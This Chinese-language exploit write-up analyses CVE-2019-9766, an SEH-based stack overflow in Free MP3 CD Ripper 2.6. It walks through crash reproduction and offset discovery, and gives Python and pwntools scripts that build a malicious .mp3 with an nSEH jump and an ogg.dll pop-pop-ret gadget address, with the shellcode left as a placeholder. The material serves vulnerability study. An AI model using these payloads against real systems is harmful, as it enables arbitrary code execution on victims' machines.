CVE-2019-9766

Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码。

checksec

没有保护,意味可以在栈上面写shellcode执行

得到Crash

生成测试文件

1
2
3
4
5
6
7
8
9
10
pay = "A"*10000

try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")

将10000个“A"字节写入到 test.mp3 文件内,IDA挂上调试器开始调试

debugger setup:要在加载dll文件的时候自动下断点,以免漏洞函数在dll文件中。判断之后确定漏洞函数在主程序 fcrip.exe 里面

crash

确定溢出长度

使用cyclic生成10000个不重复的文件,使用windbg捕获异常退出(SEH)

1
joe1sn@MSI:/mnt/d/HackTools/CVE/Windows/CVE-2019-9766$ cyclic 10000 > sample.mp3

GetSEH

发现EIP寄存器被61667062覆盖,但是程序是小端序,真实的数据是62706661

使用HxD得到数据位置

GetBuffer

确定漏洞函数

0x1014 = 4116,最终获得偏移,那么重新编写生成测试文件的脚本

1
2
3
4
5
6
7
8
9
10
pay = "A"*4112

try:
f=open("test.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(pay))
f.write(pay)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")

为了确定漏洞函数,使用 IDA 动态调试

crashed2

得到栈上的地址,再减去之前的填充,得到漏洞函数

GetVlunFuc

在函数下断点后,经简单逆向可以发现:

vuln1

这里的Len>=0x200的时候才允许我们退出

vuln2

这个函数实现的是读取功能,将我们提供的源文件数据写到OverflowedStack栈上面,然后是栈的空间大小:

vuln3

综上

栈地大小是:0x1010 = 4112

写入函数的循环可以执行:0x2000 = 8192次

最终造成栈溢出

准备编写EXP

Windows的栈的结构不大一样,OverflowedStack + 4116的位置:

GetEXP1

GetEXP2

网上的同用方法是覆盖到EIP,然后调用SEH到Next_SEH,Next_SEH存一个短jmp跳到下面的shellcode

这样做的好处是不用知道shellcode栈上的地址也可以进行跳转执行

img

这样得到的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
offset="A"*4116
NSEH="\xeb\x06\x90\x90"
SEH="\x84\x20\xe4\x66"
nops="\x90"*5

shellcode = "....."
pad = "B"*(316-len(nops)-len(shellcode))
payload = offset+NSEH+SEH+nops+shellcode+pad

try:
f=open("Sample3.mp3","w")
print ("[+]Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
print ("[+]mp3 File created successfully!")
except:
print ("File cannot be created!")

成功上线

Success

EXP效果分析

大致过程:

  • 1. EIP错误导致该段栈帧调用 S.E.H

  • 2. S.E.H 被我们修改为

    1
    2
    3
    ogg.dll:66E42084 pop     ebx
    ogg.dll:66E42085 pop ebp
    ogg.dll:66E42086 retn

    利用 ogg.dll 里面的gadget,抬栈过后再返回,这样SEH的执行就交给了 nSEH

  • 3. 返回地址根据 jmp长度可以直接跟shellcode,也可以用nop滑入shellcode

所以这里利用了Windows中的SEH攻击

最终得到简化的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

shellcode = "..."

offset="A"*4116
shellcode_addr = 0x0879FEA8
pop_ebx_ebp = 0x66E42084

payload = offset
payload += "\xEB\x06\x90\x90" # asm("jmp 6;nop;nop")
payload += p32(pop_ebx_ebp) #up the stack
payload += shellcode

try:
f=open("PWN.mp3","w")
success("Creating %s bytes mp3 Files..."%len(payload))
f.write(payload)
f.close()
success("mp3 File created successfully!")
except:
print ("File cannot be created!")